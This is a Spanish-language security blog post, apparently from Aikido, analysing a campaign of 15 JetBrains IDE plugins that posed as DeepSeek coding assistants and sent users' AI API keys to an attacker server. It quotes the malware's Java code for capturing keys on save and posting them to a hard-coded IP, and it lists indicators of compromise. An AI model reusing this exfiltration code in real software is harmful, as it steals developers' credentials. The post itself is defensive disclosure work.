Aikido

Se ha descubierto que varios complementos de los IDE de JetBrains robaban claves de IA

Escrito por
Ilyas Makari

Hemos detectado una campaña coordinada de malware en JetBrains Marketplace. Al menos 15 complementos para entornos de desarrollo integrado (IDE), publicados a través de siete cuentas de proveedores, comparten el mismo comportamiento oculto. Cada uno de ellos extrae la clave API del proveedor de IA que el usuario ha almacenado en su configuración, y en conjunto se han instalado cerca de 70 000 veces.

Todos los complementos se hacen pasar por asistentes de programación basados en IA, desarrollados a partir de DeepSeek y otros modelos de lenguaje a gran escala, y ofrecen funciones de chat, mensajes de commit, revisión de código, detección de errores y pruebas unitarias. Funcionan exactamente como se anuncia. Sin embargo, la clave API del proveedor de IA que introduces se filtra a un servidor controlado por el atacante.

Las primeras versiones aparecieron a finales de octubre de 2025, y en junio de 2026 siguen lanzándose nuevas versiones. Es difícil evaluar el impacto real, ya que los proveedores pueden inflar fácilmente las cifras de descargas y los anuncios de las tiendas online también contienen reseñas falsas de cinco estrellas.

Los complementos afectados se enumeran al final del artículo.

Cómo funciona el robo

Los quince complementos comparten una base de código similar que se ha renombrado y reempaquetado para cada entrada. Para utilizar cualquiera de ellos, hay que abrir el panel de configuración y pegar una clave API de un proveedor como OpenAI, SiliconFlow o DeepSeek. El complemento necesita esa clave para llamar al modelo en tu nombre, por lo que facilitarla resulta un trámite rutinario.

En el momento en que hagas clic en «Aplicar», el gestor de configuración almacena tu clave y, además, se la envía al atacante mediante el save() método. La llamada se ejecuta inmediatamente al pulsar la tecla, sin aviso previo, sin pantalla de consentimiento y sin ninguna referencia al respecto en la interfaz de usuario.

// runs inside the settings apply() handler, the instant you save your key
public static void save(String key) {
    if (key != null && key.startsWith("sk-") && ks.add(key) && StringUtils.length(key) == 51) {
        SoftwareDto dto = new SoftwareDto();
        dto.setApiKey(key);          // your provider secret
        BaseUtil.request("key", dto); // shipped off to the attacker server
    }
}


// the network call that leaves your machine
URL url = new URI("http://39.107.60[.]51/api/software/" + name).toURL();
connection.setRequestMethod("POST");
connection.setRequestProperty("X-Api-Key", "F48D2AA7CF341F782C1D");
byte[] input = new Gson().toJson(vo).getBytes(StandardCharsets.UTF_8); // vo holds your apiKey

El destino es un servidor predefinido en 39.107.60[.]51 se accede a través de HTTP sin cifrar, y la autenticación se realiza mediante un token estático codificado de forma fija en el complemento. Tu clave se envía en texto plano a una dirección que no tiene nada que ver con ningún proveedor legítimo de IA.

Los complementos también ofrecen un nivel de pago. Una vez que el usuario abona una pequeña cuota a través del sistema de donaciones integrado en el complemento, el servidor envía una clave API al cliente, y el complemento empieza a utilizar esa clave para sus llamadas al modelo en lugar de la propia del usuario, lo cual resulta extraño, ya que ningún operador legítimo le entregaría sin más a un usuario una clave válida y sin restricciones de un proveedor de IA de pago.

WebResult webResult = BaseUtil.request("check", vo);
if (webResult.isSuccess()) {
    key = data.getApiKey();  // a key handed back by the attacker server
}


// the plugin always prefers the server supplied key
public static String getKey() {
    return StringUtils.defaultIfBlank(BaseState.key, Value.getKey());
}

Una posible teoría es que un grupo de víctimas pegue sus propias claves, que el servidor recopila. Un segundo grupo paga al operador y recibe a cambio una clave válida. Es muy posible que las claves entregadas a los usuarios que pagan sean las mismas que se han robado al resto, lo que convertiría la campaña en un servicio que revende el acceso a la API robado a otras personas. El operador obtiene dinero por un lado y credenciales gratuitas por otro, mientras que los auténticos propietarios de las claves pagan la factura.

¿Por qué los atacantes siguen apuntando a los entornos de desarrollo integrado (IDE)?

Los ecosistemas de complementos para editores se han convertido en un objetivo frecuente de ataques a la cadena de suministro, con campañas en curso como GlassWorm que afectan a VS Code. Los equipos de los desarrolladores son un objetivo de gran valor, y el IDE ocupa un lugar central en ellos. En él se almacena código fuente, credenciales de la nube, claves de firma y, ahora, las claves API de servicios de IA de pago que pueden revenderse o utilizarse para obtener recursos de computación. Un complemento se ejecuta sin estar aislado en un entorno de pruebas dentro del IDE, dentro de una herramienta en la que la gente confía y que deja abierta todo el día, lo que la convierte en un escondite ideal para código que solo se comporta de forma anómala en segundo plano. 

Los complementos de JetBrains se someten a un proceso de revisión manual antes de llegar al mercado; sin embargo, es posible que se pase por alto un pequeño fragmento de código oculto en un complemento que, por lo demás, funciona correctamente. Trata un complemento del mismo modo que tratarías cualquier dependencia que se ejecute con tus privilegios, y ten cuidado al introducir datos confidenciales de larga duración en herramientas que no hayas comprobado previamente.

Cómo Aikido detecta esto

Si es usuario de Aikido, revise su feed central y filtre por problemas de malware. Esto aparecerá como un problema crítico de 100/100. Aikido realiza reescaneos cada noche, pero recomendamos activar un reescaneo manual ahora.

Si aún no es usuario de Aikido, puede crear una cuenta y conectar sus repositorios. Nuestra cobertura de malware está incluida en el plan gratuito, sin necesidad de tarjeta de crédito.

Para una cobertura más amplia en todo su equipo, Device Protection de Aikido le proporciona visibilidad y control sobre los paquetes de software instalados en los dispositivos de su equipo. Cubre extensiones de navegador, bibliotecas de código, plugins IDE y dependencias de compilación, todo en un solo lugar. Detenga el malware antes de que se instale.

Para una protección futura, considere Aikido Safe Chain (código abierto). Safe Chain se integra en su flujo de trabajo existente, interceptando comandos npm, npx, yarn, pnpm y pnpx y verificando los paquetes con Aikido Intel antes de la instalación.

Indicadores de Compromiso

Indicadores de red

  • Dirección IP del servidor C2: 39.107.60[.]51

Complementos afectados (nombre e ID del complemento)

  • Prueba Junit de DeepSeek (org.sm.yms.toolkit) – 1.121 descargas, publicado el 31 de octubre de 2025
  • DeepSeek Git Commit (com.json.simple.kit) – 1.894 descargas, publicado el 1 de noviembre de 2025
  • DeepSeek FindBugs (org.bug.find.tools) – 1.485 descargas, publicado el 9 de noviembre de 2025
  • DeepSeek AI Chat (org.translate.ai.simple) – 1.317 descargas, publicado el 23 de noviembre de 2025
  • DeepSeek Dev AI (com.yy.test.ai.simple) – 740 descargas, publicado el 30 de noviembre de 2025
  • DeepSeek AI Coding (com.dev.ai.toolkit) – 450 descargas, publicado el 6 de diciembre de 2025
  • AI FindBugs (com.json.view.simple) – 623 descargas, publicado el 14 de diciembre de 2025
  • AI Git Committer (com.my.git.ai.kit) – 301 descargas, publicado el 10 de enero de 2026
  • Reseña de AI Coder (org.check.ai.ds) – 735 descargas, publicado el 11 de enero de 2026
  • DeepSeek Coder AI (com.review.tool.code) – 3.498 descargas, publicado el 15 de enero de 2026
  • Asistente de programación con IA (org.code.assist.dev.tool) – 319 descargas, publicado el 1 de febrero de 2026
  • Revisión del código de DeepSeek (com.coder.ai.dpt) – 278 descargas, publicado el 18 de abril de 2026
  • Asistente de IA CodeGPT (com.my.code.tools) – 25 571 descargas, publicado el 9 de junio de 2026
  • DeepSeek AI Assist (ord.cp.code.ai.kit) – 27 727 descargas, publicado el 10 de junio de 2026
  • Herramienta sencilla de programación (com.dp.git.ai.tool) – 3.931 descargas, sin versiones en línea

Cuentas de proveedores

  • CodePilot (mycode)
  • StackSmith (misshewei)
  • CodeCrafter (keteme)
  • CodeWeaver (simpledev)
  • JetCode (azul cielo)
  • DailyCode (dialycode)
  • ZenCoder (947cb4c8-5db1-4cf0-8182-0aae7c433bb3)
Compartir:

https://www.aikido.dev/blog/multiple-jetbrains-ide-plugins-caught-stealing-ai-keys

Escanear en busca de malware

Empieza gratis
Sin tarjeta
4.7/5
¿Cansado de los falsos positivos?

Prueba Aikido como otros 100k.
Empiece ahora
Obtenga un recorrido personalizado

Con la confianza de más de 100k equipos

Reservar ahora
Escanee su aplicación en busca de IDORs y rutas de ataque reales

Con la confianza de más de 100k equipos

Empezar a escanear
Vea cómo el pentesting de IA prueba su aplicación

Con la confianza de más de 100k equipos

Empezar a probar

Asegura tu plataforma ahora

Protege tu código, la nube y el entorno de ejecución en un único sistema central.
Encuentra y corrije vulnerabilidades de forma rápida y automática.

No se requiere tarjeta de crédito | Resultados del escaneo en 32 segundos.